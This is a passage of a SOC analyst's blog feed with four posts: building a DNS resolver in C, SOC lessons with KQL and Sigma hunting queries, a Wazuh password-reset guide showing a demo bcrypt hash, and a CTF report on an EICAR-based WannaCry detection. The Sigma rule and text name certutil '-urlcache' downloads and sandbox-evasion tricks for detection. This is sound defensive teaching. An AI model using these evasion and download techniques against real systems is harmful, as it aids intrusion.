]]></content:encoded></item><item><title><![CDATA[From Log Reader to Packet Crafter — Building DNS from Scratch in C]]></title><description><![CDATA[Github Repository:]]></description><link>https://prayush.hashnode.dev/from-log-reader-to-packet-crafter-building-dns-from-scratch-in-c</link><guid isPermaLink="true">https://prayush.hashnode.dev/from-log-reader-to-packet-crafter-building-dns-from-scratch-in-c</guid><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Prayush Hada]]></dc:creator><pubDate>Wed, 18 Mar 2026 11:36:02 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68ddf6203c47763313ac142f/09c48c2f-3b83-46dc-bf93-f26743161a44.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>It's me again! As a SOC Analyst, I spend my days staring at logs I don't fully understand. So I decided to build the thing that generates them.</p>
<hr />
<h2>Why I built this?</h2>
<p>I was on my desk staring at Fortigate logs all day. DNS queries, port 53 traffic, NXDOMAIN responses — I could see them happening but I didn't really understand what was inside them. I knew DNS resolved domain names to IPs. But what actually travels across the wire? What does a DNS packet look like at the byte level?</p>
<p>So I did what any slightly obsessed junior analyst would do — I decided to build it from scratch in C.</p>
<h2>What DNS actually is</h2>
<p>When you type <a href="http://google.com">google.com</a>, your machine checks its local cache first. If it's not there, it checks the hosts file — yes, that <code>/etc/hosts</code> (in Linux) file you've definitely tampered with before. Still nothing? The query goes to your resolver — usually your router or ISP's DNS server.</p>
<p>Here's where it gets interesting. The resolver doesn't just magically know the answer. It goes on a journey:</p>
<p>First it asks a root server — "where do I find <a href="http://google.com">google.com</a>?" The root server doesn't know the IP. It just says "go ask the .com TLD server." The TLD server doesn't know either — it says "go ask Google's authoritative nameserver." Finally, Google's authoritative nameserver says "here's the IP: 142.250.x.x." That answer travels back to your machine and gets cached with a TTL so the whole journey doesn't repeat for a while.</p>
<p>The resolver does all the legwork. Your machine just waits.</p>
<p>Let me insert a little diagram...</p>
<img src="https://cdn.hashnode.com/uploads/covers/68ddf6203c47763313ac142f/de509b91-8ba0-4064-86e3-f3eef61823ab.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Crafting DNS Packets in C</h2>
<h3>DNS Packet Structure Theory</h3>
<h3>The Header — 12 bytes, always</h3>
<p>Every DNS packet starts with a fixed 12-byte header. In Wireshark this is the first thing highlighted when you click a DNS query.</p>
<pre><code class="language-plaintext">+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                  Transaction ID                  |  2 bytes
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                     Flags                        |  2 bytes
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                   Questions                      |  2 bytes
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                  Answer RRs                      |  2 bytes
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                 Authority RRs                    |  2 bytes
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                Additional RRs                    |  2 bytes
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
</code></pre>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value in Query</th>
<th>Meaning</th>
</tr>
</thead>
<tbody><tr>
<td>Transaction ID</td>
<td><code>0xAAAA</code> (arbitrary)</td>
<td>Echoed back in response so your OS matches reply to query</td>
</tr>
<tr>
<td>Flags</td>
<td><code>0x0100</code></td>
<td>RD bit set — Recursion Desired</td>
</tr>
<tr>
<td>Questions</td>
<td><code>0x0001</code></td>
<td>One question being asked</td>
</tr>
<tr>
<td>Answer RRs</td>
<td><code>0x0000</code></td>
<td>Zero answers — this is a query, not a response</td>
</tr>
<tr>
<td>Authority RRs</td>
<td><code>0x0000</code></td>
<td>Zero</td>
</tr>
<tr>
<td>Additional RRs</td>
<td><code>0x0000</code></td>
<td>Zero</td>
</tr>
</tbody></table>
<h4>Wireshark Capture:</h4>
<p><img src="align=%22center%22" alt="" /></p>
<h3>The Flags Field — <code>0x0100</code></h3>
<p>In a query you send <code>0x0100</code>. The <code>1</code> in the high byte is the <strong>RD bit</strong> (Recursion Desired) — telling the resolver "go find the full answer, don't just tell me what you know locally."</p>
<p>In a response, <code>8.8.8.8</code> sends back <code>0x8180</code>:</p>
<ul>
<li><p>Bit 15 = <code>1</code> — this is a Response</p>
</li>
<li><p><code>0x80</code> in low byte — Recursion Available confirmed</p>
</li>
</ul>
<h3>The Question Section</h3>
<p>Follows immediately after the 12-byte header. Contains the domain name in <strong>wire format</strong> plus QTYPE and QCLASS.</p>
<p><strong>Wire format — label encoding:</strong> DNS doesn't transmit dots. It uses length-prefixed labels:</p>
<pre><code class="language-plaintext">google.com  →  06 67 6f 6f 67 6c 65 03 63 6f 6d 00
               ^                  ^              ^
               6, "google"        3, "com"       null terminator
</code></pre>
<p>Each label is: <code>[1 byte length][label bytes]</code>. A <code>0x00</code> byte terminates the name.</p>
<p>After the name:</p>
<ul>
<li><p><strong>QTYPE</strong> <code>0x0001</code> — A record (IPv4 address)</p>
</li>
<li><p><strong>QCLASS</strong> <code>0x0001</code> — IN (Internet)</p>
</li>
</ul>
<h3>The Answer Section (in responses)</h3>
<p>Each Resource Record (RR) in the answer section:</p>
<pre><code class="language-plaintext">[name:     2 bytes]  — usually 0xc00c compression pointer
[type:     2 bytes]  — 0x0001 = A record
[class:    2 bytes]  — 0x0001 = IN
[TTL:      4 bytes]  — seconds to cache this record
[rdlength: 2 bytes]  — byte length of the data that follows
[rdata:    N bytes]  — the actual IP address (4 bytes for A record)
</code></pre>
<p><strong>Compression pointer</strong> <code>0xc00c</code><strong>:</strong> DNS avoids repeating domain names. The top two bits <code>0xC0</code> signal "this is a pointer". The second byte <code>0x0c</code> = offset 12 — pointing back to the name in the question section.</p>
<h3>RCODE — Response Code</h3>
<p>Bottom 4 bits of the flags field in a response. Mask with <code>&amp; 0x000F</code>.</p>
<table>
<thead>
<tr>
<th>RCODE</th>
<th>Meaning</th>
</tr>
</thead>
<tbody><tr>
<td><code>0</code></td>
<td>No error</td>
</tr>
<tr>
<td><code>1</code></td>
<td>Format error</td>
</tr>
<tr>
<td><code>2</code></td>
<td>Server failure</td>
</tr>
<tr>
<td><code>3</code></td>
<td><strong>NXDOMAIN</strong> — name does not exist</td>
</tr>
<tr>
<td><code>5</code></td>
<td>Refused</td>
</tr>
</tbody></table>
<hr />
<h2>Implementing a Simple DNS Resolver</h2>
<h3>Key concept — byte order</h3>
<p>DNS is a network protocol and transmits integers <strong>big-endian</strong> (most significant byte first). x86 Linux is <strong>little-endian</strong>. Always use:</p>
<ul>
<li><p><code>htons()</code> — host to network, 2-byte integers (headers, ports)</p>
</li>
<li><p><code>htonl()</code> — host to network, 4-byte integers (TTL)</p>
</li>
<li><p><code>ntohs()</code> / <code>ntohl()</code> — reverse, for reading responses</p>
</li>
</ul>
<h3>struct dns_header:</h3>
<pre><code class="language-c">struct dns_header { 
    uint16_t id; // Transaction ID — 2 bytes 
    uint16_t flags; // Query flags — 2 bytes 
    uint16_t qdcount; // Number of questions — 2 bytes 
    uint16_t ancount; // Number of answers — 2 bytes 
    uint16_t nscount; // Number of authority records — 2 bytes 
    uint16_t arcount; // Number of additional records — 2 bytes 
}; // 6 × uint16_t = 6 × 2 bytes = 12 bytes exactly
</code></pre>
<p><code>uint16_t</code> from <code>&lt;stdint.h&gt;</code> guarantees exactly 2 bytes regardless of platform.</p>
<h3>build_header():</h3>
<pre><code class="language-c">void build_header(uint8_t *buf) { // Cast buffer start to dns_header pointer — not copying, just reinterpreting the memory 
    struct dns_header *h = (struct dns_header *)buf;
    h-&gt;id      = htons(0xAAAA);  // arbitrary transaction ID
    h-&gt;flags   = htons(0x0100);  // standard query, recursion desired
    h-&gt;qdcount = htons(1);       // one question
    h-&gt;ancount = 0;              // no answers in a query
    h-&gt;nscount = 0;
    h-&gt;arcount = 0;
}
</code></pre>
<h3>encode_domain():</h3>
<p>Converts <code>"</code><a href="http://google.com"><code>google.com</code></a><code>"</code> to DNS wire format. Walks the string, writes length byte before each label, writes <code>0x00</code> terminator at the end, then appends QTYPE and QCLASS.</p>
<pre><code class="language-c">int encode_domain(uint8_t *buf, int offset, const char *domain) { 
    int label_len_pos; int label_len = 0;

    label_len_pos = offset;  // reserve space for first label length
    offset++;

    for (int i = 0; domain[i] != '\0'; i++) {
        if (domain[i] == '.') {
            buf[label_len_pos] = label_len;  // fill in the length we counted
            label_len = 0;
            label_len_pos = offset;          // reserve space for next label length
            offset++;
        } else {
            buf[offset] = domain[i];
            offset++;
            label_len++;
        }
    }

    buf[label_len_pos] = label_len;  // fill in final label length
    buf[offset++] = 0x00;            // null terminator

    buf[offset++] = 0x00; buf[offset++] = 0x01;  // QTYPE: A record
    buf[offset++] = 0x00; buf[offset++] = 0x01;  // QCLASS: IN

    return offset;
}
</code></pre>
<h3>Socket setup:</h3>
<pre><code class="language-c">void parse_response(uint8_t *response, int recv_len) { 
    struct dns_header *h = (struct dns_header *)response;
    // Check RCODE first — bottom 4 bits of flags
    uint8_t rcode = ntohs(h-&gt;flags) &amp; 0x000F;
    if (rcode == 3) { 
        printf("NXDOMAIN - domain does not exist.\n"); 
        return; 
    }
    if (rcode != 0) { 
        printf("DNS ERROR - RCODE %d\n", rcode); 
        return; 
    }

    int answers = ntohs(h-&gt;ancount);

    // Skip question section — walk past the name and QTYPE/QCLASS
    int offset = 12;
    while (response[offset] != 0x00) offset += response[offset] + 1;
    offset++;    // skip null terminator
    offset += 4; // skip QTYPE + QCLASS

    // Parse each answer record
    for (int i = 0; i &lt; answers; i++) {
    // Skip name — usually a 2-byte compression pointer
        if ((response[offset] &amp; 0xC0) == 0xC0) offset += 2;
        else { while (response[offset] != 0x00) offset += response[offset] + 1; offset++; }

        uint16_t type = ntohs(*(uint16_t *)(response + offset)); offset += 2;
        uint16_t class=ntohs(*(uint16_t *)(response + offset)); offset += 2;
        uint32_t ttl = ntohl(*(uint32_t *)(response + offset)); offset += 4;
        uint16_t rdlength = ntohs(*(uint16_t *)(response + offset)); offset += 2;

    if (type == 1 &amp;&amp; rdlength == 4) {
        struct in_addr addr;
        memcpy(&amp;addr, response + offset, 4);
        printf("Resolved IP: %s\n", inet_ntoa(addr));
        printf("TTL        : %u seconds\n", ttl);
    }
    offset += rdlength;
}
}
</code></pre>
<h4>Output:<em>Building this changed something about how I work.</em></h4>
<h4>Valid Domain:</h4>
<pre><code class="language-shell">$ ./dns_tool tryhackme.com 
Socket opened: fd=3 Sent 31 bytes to 8.8.8.8:53 
Received 63 bytes from 8.8.8.8 
Resolved IP: 104.20.29.66 TTL : 300 seconds 
Resolved IP: 172.66.164.239 TTL : 300 seconds
</code></pre>
<h4>Invalid Domain:</h4>
<pre><code class="language-shell">$ ./dns_tool tryhackme.np
NXDOMAIN - domain does not exist.
</code></pre>
<h2>Conclusion</h2>
<p>Building this changed something about how I work.</p>
<p>The next morning at my SOC job, I opened LogPoint and filtered for DNS traffic. Same logs I'd been staring at for weeks. But this time when I saw <code>destination_port=53</code>, <code>sentbyte=62</code>, <code>rcvdbyte=132</code> — I knew exactly what was inside those packets. I'd built them by hand.</p>
<p>That <code>sentbyte=62</code> — that's a 12-byte header, encoded domain name, QTYPE, QCLASS. The <code>rcvdbyte=132</code> — that's the same header back, plus answer records, compression pointers, TTL values, four bytes of IP address.</p>
<p>I also understood for the first time why direct DNS to 8.8.8.8 is flagged as elevated risk in my environment — it bypasses the internal resolver entirely, which means no logging, no filtering, no visibility. I'd seen that alert a hundred times. Now I understood it.</p>
<p>If you're in security and you haven't looked at what's actually inside the protocols you monitor every day — build it. You don't have to build something production ready. Just build enough to understand what's happening at the byte level.</p>
<p>The logs make a lot more sense after that.</p>
<hr />
]]></content:encoded></item><item><title><![CDATA[Beyond the Inbox: 5 Counter-Intuitive Truths from the SOC Frontlines]]></title><description><![CDATA[I am Prayush Hada, a SOC Analyst in CryptoGen Nepal. This post synthesizes my findings during my SOC internship, where I moved from following alerts to…]]></description><link>https://prayush.hashnode.dev/beyond-the-inbox-5-counter-intuitive-truths-from-the-soc-frontlines</link><guid isPermaLink="true">https://prayush.hashnode.dev/beyond-the-inbox-5-counter-intuitive-truths-from-the-soc-frontlines</guid><category><![CDATA[SOC]]></category><category><![CDATA[phishing]]></category><category><![CDATA[threat intelligence]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Prayush Hada]]></dc:creator><pubDate>Mon, 23 Feb 2026 05:53:25 GMT</pubDate><enclosure url="https://cloudmate-test.s3.us-east-1.amazonaws.com/uploads/covers/68ddf6203c47763313ac142f/75643ced-c44a-4831-a7a7-d27058b1e681.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>About the Author</h2>
<p>I am <strong>Prayush Hada</strong>, a <strong>SOC Analyst</strong> in <strong>CryptoGen Nepal</strong>. This post synthesizes my findings during my SOC internship, where I moved from following alerts to investigating the human logic behind them.</p>
<hr />
<h3>The Executive Summary (TL;DR)</h3>
<p>In 2025, the "Security Stack" is no longer a wall; it’s a filter. As adversaries move toward <strong>Identity-centric attacks</strong> and <strong>LLM-assisted phishing</strong>, SOC analysts must stop looking for "bad files" and start hunting for "bad logic."</p>
<hr />
<h2>1. Phishing is Now an Identity &amp; API Game</h2>
<p><strong>What it means:</strong> Modern phishing has evolved into <strong>"Quishing"</strong> (QR Code phishing) and <strong>AiTM</strong> (Adversary-in-the-Middle) attacks that bypass MFA. <strong>Why it matters:</strong> According to 2024 telemetry, 70% of successful breaches involved a human element, often via sophisticated <strong>OAuth consent grants</strong> rather than traditional malware.</p>
<ul>
<li><p><strong>Investigator’s Checklist:</strong></p>
<ul>
<li><p>Check for anomalous <strong>Redirect URIs</strong> in OAuth grants.</p>
</li>
<li><p>Verify <strong>DKIM/SPF/DMARC</strong> alignment for "high-trust" internal spoofs.</p>
</li>
<li><p>Hunt for <strong>MFA Fatigue</strong> patterns (multiple denied pushes followed by an approved one).</p>
</li>
</ul>
</li>
<li><p><strong>Useful Logs:</strong> <code>AADSignInEventsBeta</code>, <code>CloudAppEvents</code> (Microsoft 365).</p>
</li>
</ul>
<p><strong>Quick Hunt (KQL):</strong></p>
<pre><code class="language-graphql">AuditLogs 
| where OperationName == "Consent to application"
| extend AppName = tostring(TargetResources[0].DisplayName)
| where AppName has_any ("Reader", "Vault", "Encryption") // Common decoy names
</code></pre>
<hr />
<h2>2. Valid Credentials are the New Malware</h2>
<p><strong>What it means:</strong> Attackers don't break in; they log in. Using stolen session cookies (Cookie Hijacking) allows them to bypass MFA entirely. <strong>Why it matters:</strong> 2025 reports show a 40% increase in <strong>Session Token Theft</strong>. A successful login from a "Known Device" can still be a malicious actor.</p>
<ul>
<li><p><strong>Investigator’s Checklist:</strong></p>
<ul>
<li><p>Correlate <strong>Impossible Travel</strong> with specific Session IDs.</p>
</li>
<li><p>Inspect <strong>User Agent</strong> strings for slight variations during a single session.</p>
</li>
</ul>
</li>
<li><p><strong>Short Example:</strong> An analyst flagged a login from a "compliant device" in London. Investigation revealed the session token was stolen via a transparent proxy 10 minutes earlier in New York.</p>
</li>
</ul>
<hr />
<h2>3. Alerts are Signals, Not Stories</h2>
<p><strong>What it means:</strong> A "Low" severity alert (like a single failed login) is often the precursor to a "Critical" event. <strong>Why it matters:</strong> Attackers "warm up" environments by testing automation response times. If you only look at "High" alerts, you miss the reconnaissance phase.</p>
<ul>
<li><p><strong>Investigator’s Checklist:</strong></p>
<ul>
<li><p>Build a 30-minute <strong>Pre-and-Post Alert Timeline</strong>.</p>
</li>
<li><p>Map alerts to the <strong>MITRE ATT&amp;CK</strong> framework to see the "missing links."</p>
</li>
</ul>
</li>
<li><p><strong>Quick Playbook Line:</strong> If a "Low" alert involves a privileged account, escalate to "Medium" immediately for manual review.</p>
</li>
</ul>
<hr />
<h2>4. Automation Bypasses: The "Sleep" and "Password" Tactics</h2>
<p><strong>What it means:</strong> Attackers exploit the non-interactive nature of automated sandboxes. <strong>Why it matters:</strong> Most automated gateways won't wait more than 120 seconds for a payload to detonate. Attackers simply add a <code>sleep(300)</code> command.</p>
<ul>
<li><p><strong>Investigator’s Checklist:</strong></p>
<ul>
<li><p>Check for <strong>Password-protected ZIPs</strong> where the password is in the email body (gateways can't read the text to unzip the file).</p>
</li>
<li><p>Analyze files in <strong>Interactive Sandboxes</strong> where you can manually click buttons or wait out timers.</p>
</li>
</ul>
</li>
<li><p><strong>Short Example:</strong> A PDF appeared clean in the sandbox. When opened manually, it required a "Captcha" click to reveal the malicious URL—a simple human action that defeated the automation.</p>
</li>
</ul>
<hr />
<h2>5. Hiding in Plain Sight (LOLBAS)</h2>
<p><strong>What it means:</strong> Using <strong>Living Off the Land Binaries</strong> like <code>certutil.exe</code> or <code>powershell.exe</code> to download payloads or exfiltrate data. <strong>Why it matters:</strong> These are "Trusted" Microsoft tools. Seeing them run isn't an alert; seeing them run with <em>weird arguments</em> is.</p>
<ul>
<li><p><strong>Investigator’s Checklist:</strong></p>
<ul>
<li><p>Monitor <strong>Event ID 4104</strong> (PowerShell Script Block Logging).</p>
</li>
<li><p>Look for "Dual-Use" tools (RMM software like AnyDesk or ScreenConnect) being installed on servers.</p>
</li>
</ul>
</li>
<li><p><strong>Quick Hunt (Sigma):</strong></p>
<pre><code class="language-yaml">selection:
    Image|endswith: '\certutil.exe'
    CommandLine|contains: '-urlcache'
condition: selection
</code></pre>
</li>
</ul>
<hr />
<h2>Conclusion: What to Change This Week</h2>
<p>The technical stack will always evolve, but human reasoning is the constant. Shift your focus from "detecting badness" to "understanding normal."</p>
<p><strong>Three immediate actions for your team:</strong></p>
<ol>
<li><p><strong>Audit OAuth Consents:</strong> Run a report on all third-party apps with <code>Mail.Read</code> or <code>Files.Read</code> permissions.</p>
</li>
<li><p><strong>Hunt for Mailbox Rules:</strong> Search for rules that move items to "Deleted Items" or "RSS Feeds"—a classic sign of an ongoing BEC.</p>
</li>
<li><p><strong>Validate Conditional Access:</strong> Ensure "Impossible Travel" triggers a re-authentication or a block.</p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Wazuh Password Reset Guide]]></title><description><![CDATA[Guide to resetting the Wazuh password for both Docker and host-based installations, including step-by-step instructions and expected outputs]]></description><link>https://prayush.hashnode.dev/wazuh-password-reset-guide</link><guid isPermaLink="true">https://prayush.hashnode.dev/wazuh-password-reset-guide</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[wazuh]]></category><category><![CDATA[Security]]></category><category><![CDATA[SIEM]]></category><dc:creator><![CDATA[Prayush Hada]]></dc:creator><pubDate>Sun, 01 Feb 2026 06:33:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1769927550592/abff83e2-2651-4fb6-af3b-6ad8e580d2d1.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-part-i-for-docker-installations">Part I: For Docker Installations</h1>
<p>In Docker, you must change the persistent files on the <strong>host</strong> first, then apply them <strong>inside</strong> the container.</p>
<h4 id="heading-1-generate-the-password-hash">1. Generate the Password Hash</h4>
<p>Access the indexer container to use the hash tool:</p>
<pre><code class="lang-shell">
docker exec -it -u 0 single-node-wazuh.indexer-1
</code></pre>
<p>Then export Java :</p>
<pre><code class="lang-shell">export JAVA_HOME=/usr/share/wazuh-indexer/jdk
export PATH=$PATH:$JAVA_HOME/bin
</code></pre>
<p>Then navigate to the tool:</p>
<pre><code class="lang-shell">cd /usr/share/wazuh-indexer/plugins/opensearch-security/tools
</code></pre>
<p>Then execute the hash tool:</p>
<pre><code class="lang-shell">./hash.sh
</code></pre>
<p>Enter the new password in plain-text to get its hash.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769927323054/8f7e0076-9122-4af9-8aa8-5001b7e7e410.png" alt /></p>
<p>Copy that hash and navigate to:</p>
<pre><code class="lang-shell">wazuh-docker/single-node/config/wazuh-indexer
</code></pre>
<p>Then replace the existing hash:</p>
<pre><code class="lang-shell"># This is the internal user database
# The hash value is a bcrypt hash and can be generated with plugin/tools/hash.sh

_meta:
  type: "internalusers"
  config_version: 2

# Define your internal users here

## Demo users

admin:
  hash: "$2y$12$68mjfelqgWCWfa4vJmI66ut.RLkQtrwu5DKPdZd1p53dxObbjLFga"

  reserved: true
  backend_roles:
  - "admin"
  description: "Demo admin user"
</code></pre>
<p>Then Restart the whole container:</p>
<pre><code class="lang-shell">docker compose down
docker compose up
</code></pre>
<p>Then attach the indexer again:</p>
<pre><code class="lang-shell">docker exec -it -u 0 single-node-wazuh.indexer-1
</code></pre>
<p>Export Java to path again:</p>
<pre><code class="lang-shell">export JAVA_HOME=/usr/share/wazuh-indexer/jdk
export PATH=$PATH:$JAVA_HOME/bin
</code></pre>
<p>Then navigate to :</p>
<pre><code class="lang-shell">cd /usr/share/wazuh-indexer/plugins/opensearch-security/tools
</code></pre>
<p>Use this command:</p>
<pre><code class="lang-shell">./securityadmin.sh \ 
-cd /etc/wazuh-indexer/opensearch-security/ \ 
-nhnv \ 
-cacert /etc/wazuh-indexer/certs/root-ca.pem \ 
-cert /etc/wazuh-indexer/certs/admin.pem \ 
-key /etc/wazuh-indexer/certs/admin-key.pem \ 
-p 9200 \ 
-icl
</code></pre>
<p>The output should show:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769927341801/1fe1b0d0-7a0c-4f73-bcd2-67c545a9e6ed.png" alt /></p>
<p>The password has been successfully changed, try it in your dashboard!</p>
<h1 id="heading-part-ii-for-host-based-installation">Part II: For host-based installation</h1>
<p>Simply navigate to indexer's path:</p>
<pre><code class="lang-shell">cd /usr/share/wazuh-indexer/plugins/opensearch-security/tools
</code></pre>
<p>Execute the <a target="_blank" href="http://hash.sh">hash.sh</a> to input new password:</p>
<pre><code class="lang-shell">./hash.sh
</code></pre>
<p>Expected Output:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769927355410/815e373b-9af2-4966-b887-54385f5be9ac.png" alt /></p>
<p>Copy the hash and navigate to :</p>
<pre><code class="lang-shell">/etc/wazuh-indexer/opensearch-security
</code></pre>
<p>and change the password hash:</p>
<pre><code class="lang-shell">nano internal_users.yml
</code></pre>
<pre><code class="lang-shell"># This is the internal user database
# The hash value is a bcrypt hash and can be generated with plugin/tools/hash.sh

_meta:
  type: "internalusers"
  config_version: 2

# Define your internal users here

## Demo users

admin:
  hash: "$2y$12$68mjfelqgWCWfa4vJmI66ut.RLkQtrwu5DKPdZd1p53dxObbjLFga"

  reserved: true
  backend_roles:
  - "admin"
  description: "Demo admin user"
</code></pre>
<p>Restart the wazuh-indexer:</p>
<pre><code class="lang-shell">sudo systemctl restart wazuh-indexer
</code></pre>
<p>Again navigate to :</p>
<pre><code class="lang-shell">cd /usr/share/wazuh-indexer/plugins/opensearch-security/tools
</code></pre>
<p>And execute this command:</p>
<pre><code class="lang-shell">./securityadmin.sh \ 
-cd /etc/wazuh-indexer/opensearch-security/ \ 
-nhnv \ 
-cacert /etc/wazuh-indexer/certs/root-ca.pem \ 
-cert /etc/wazuh-indexer/certs/admin.pem \ 
-key /etc/wazuh-indexer/certs/admin-key.pem \ 
-p 9200 \ 
-icl
</code></pre>
<p>Expected output:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769927367264/0f6785c1-39ec-4a8a-b77d-273afa4ca123.png" alt /></p>
<p>go to the dashboard and login with your new password!!!</p>
]]></content:encoded></item><item><title><![CDATA[WannaCry Ransomware Analysis Using Logpoint SIEM]]></title><description><![CDATA[Investigating WannaCry Ransomware in Logpoint SIEM.]]></description><link>https://prayush.hashnode.dev/wannacry-ransomware-analysis-using-logpoint-siem</link><guid isPermaLink="true">https://prayush.hashnode.dev/wannacry-ransomware-analysis-using-logpoint-siem</guid><category><![CDATA[Logpoint]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[SIEM]]></category><category><![CDATA[Security]]></category><category><![CDATA[#WannaCryRansomware]]></category><dc:creator><![CDATA[Prayush Hada]]></dc:creator><pubDate>Tue, 16 Dec 2025 02:40:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1765852615720/5efc338c-6feb-4676-b013-355a80a784e3.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hack-A-Flag 2025 challenge experience</p>
<blockquote>
<p>We, Team Y3ti@Sec, had participated in the first ever SIEM CTF Hack-A-Flag 2025, organized by IEEE Computer Society Pulchowk &amp; Logpoint. The article is about the first flag pwned in the competition.</p>
</blockquote>
<h2 id="heading-executive-summary">Executive Summary</h2>
<p><strong>Date/Time:</strong> July 8, 2025, 10:50:31 AM EDT<br /><strong>Type of Incident:</strong> Ransomware Attack Detection<br /><strong>Systems Affected:</strong> WINDOWS_USER47.local workstation<br /><strong>Status:</strong> Resolved - Threat Contained and Eliminated</p>
<h2 id="heading-key-findings">Key Findings</h2>
<p>A WannaCry ransomware variant (Mal/Ransom-WCRY) was detected on workstation WINDOWS_USER47.local through a malicious file download via Internet Explorer. The Trend Micro Deep Security Agent successfully detected and automatically deleted the threat in real-time, preventing any system compromise or data encryption.</p>
<h2 id="heading-immediate-actions-taken">Immediate Actions Taken</h2>
<ul>
<li><p>Real-time detection and automatic deletion by Deep Security Agent</p>
</li>
<li><p>Threat quarantined and removed from system</p>
</li>
<li><p>Comprehensive log analysis conducted</p>
</li>
<li><p>Workstation operational status confirmed</p>
</li>
</ul>
<h2 id="heading-stakeholder-impact">Stakeholder Impact</h2>
<p><strong>Minimal Impact:</strong> No business operations disrupted, no data compromised, no financial losses incurred. The incident was contained before any malicious activity could occur.</p>
<h2 id="heading-incident-details">Incident Details</h2>
<h2 id="heading-nature-of-threat">Nature of Threat</h2>
<p><strong>Malware Type:</strong> WannaCry Ransomware (Mal/Ransom-WCRY)<br /><strong>Detection Method:</strong> Trend Micro Deep Security real-time behavioral monitoring<br /><strong>File Hash:</strong> E889544AFF85FFAF8B0D0DA705105DEE7C97FE26<br /><strong>File Size:</strong> 443 bytes<br /><strong>Severity Level:</strong> 6 (Medium)</p>
<h2 id="heading-when-and-how-incident-occurred">When and How Incident Occurred</h2>
<p><strong>Timeline:</strong></p>
<ul>
<li><p><strong>10:50:31 AM:</strong> Malicious file downloaded by user47</p>
</li>
<li><p><strong>10:50:31 AM:</strong> Immediate detection by Deep Security Agent</p>
</li>
<li><p><strong>10:50:31 AM:</strong> Automatic deletion and quarantine executed</p>
</li>
<li><p><strong>10:50:31 AM:</strong> Security event logged for analysis</p>
</li>
</ul>
<h2 id="heading-who-and-what-was-affected">Who and What Was Affected</h2>
<p><strong>Primary Target:</strong> user47 account on WINDOWS_USER47.local workstation<br /><strong>IP Address:</strong> 10.45.3.100<br /><strong>Host ID:</strong> 6303<br /><strong>User Impact:</strong> None - user unaware of threat due to automatic remediation</p>
<h2 id="heading-overall-scope">Overall Scope</h2>
<p><strong>Single Endpoint:</strong> One workstation affected<br /><strong>Containment:</strong> Immediate and automatic<br /><strong>Spread:</strong> No lateral movement detected<br /><strong>Data Impact:</strong> No data compromised or encrypted</p>
<h2 id="heading-attack-vector-details">Attack Vector Details</h2>
<h2 id="heading-entry-point-analysis">Entry Point Analysis</h2>
<p><strong>Primary Vector:</strong> Web-based download through Internet Explorer<br /><strong>File Location:</strong> C:\Users\user47\AppData\Local\Microsoft\Windows\INetCache\Low\IE\87AI39Z8\corporate_<a target="_blank" href="http://files.zip">files.zip</a>(<a target="_blank" href="http://eicar.com">eicar.com</a>)<br /><strong>Social Engineering:</strong> File disguised as "corporate_<a target="_blank" href="http://files.zip">files.zip</a>" to appear legitimate<br /><strong>User Interaction:</strong> Required user to actively download the malicious archive</p>
<h2 id="heading-technical-vulnerabilities-exploited">Technical Vulnerabilities Exploited</h2>
<p><strong>Browser Security:</strong> Internet Explorer download mechanism<br /><strong>User Awareness:</strong> Insufficient recognition of suspicious file names<br /><strong>File Handling:</strong> ZIP archive containing EICAR test file bypassed initial user scrutiny</p>
<h2 id="heading-source-information">Source Information</h2>
<p><strong>Delivery Method:</strong> Direct download (likely from compromised or malicious website)<br /><strong>File Type:</strong> ZIP archive containing executable payload<br /><strong>Detection Category:</strong> EICAR test file (controlled test scenario)</p>
<h2 id="heading-systems-and-assets-affected">Systems and Assets Affected</h2>
<h2 id="heading-technology-assets-impacted">Technology Assets Impacted</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Asset Type</td><td>Details</td><td>Impact Level</td></tr>
</thead>
<tbody>
<tr>
<td>Workstation</td><td>WINDOWS_USER47.local</td><td>Minimal - Threat Removed</td></tr>
<tr>
<td>User Account</td><td>user47</td><td>None - No compromise</td></tr>
<tr>
<td>Network</td><td>10.45.3.100 subnet</td><td>None - No spread</td></tr>
<tr>
<td>Data</td><td>User files</td><td>None - No encryption</td></tr>
</tbody>
</table>
</div><h2 id="heading-damage-assessment">Damage Assessment</h2>
<p><strong>System Integrity:</strong> Maintained - No system files modified<br /><strong>Data Integrity:</strong> Preserved - No files encrypted or corrupted<br /><strong>Network Security:</strong> Intact - No lateral movement detected<br /><strong>Service Availability:</strong> Unaffected - All services remained operational</p>
<h2 id="heading-business-impact-assessment">Business Impact Assessment</h2>
<h2 id="heading-operational-impact">Operational Impact</h2>
<p><strong>Business Continuity:</strong> No disruption to operations<br /><strong>Service Availability:</strong> 100% uptime maintained<br /><strong>Productivity Loss:</strong> None - User unaware of incident<br /><strong>Customer Impact:</strong> No customer-facing services affected</p>
<h2 id="heading-financial-assessment">Financial Assessment</h2>
<p><strong>Direct Costs:</strong> $0 - No ransom paid, no data loss<br /><strong>Recovery Costs:</strong> $0 - Automatic remediation<br /><strong>Business Interruption:</strong> $0 - No downtime experienced<br /><strong>Regulatory Fines:</strong> None - No data breach occurred</p>
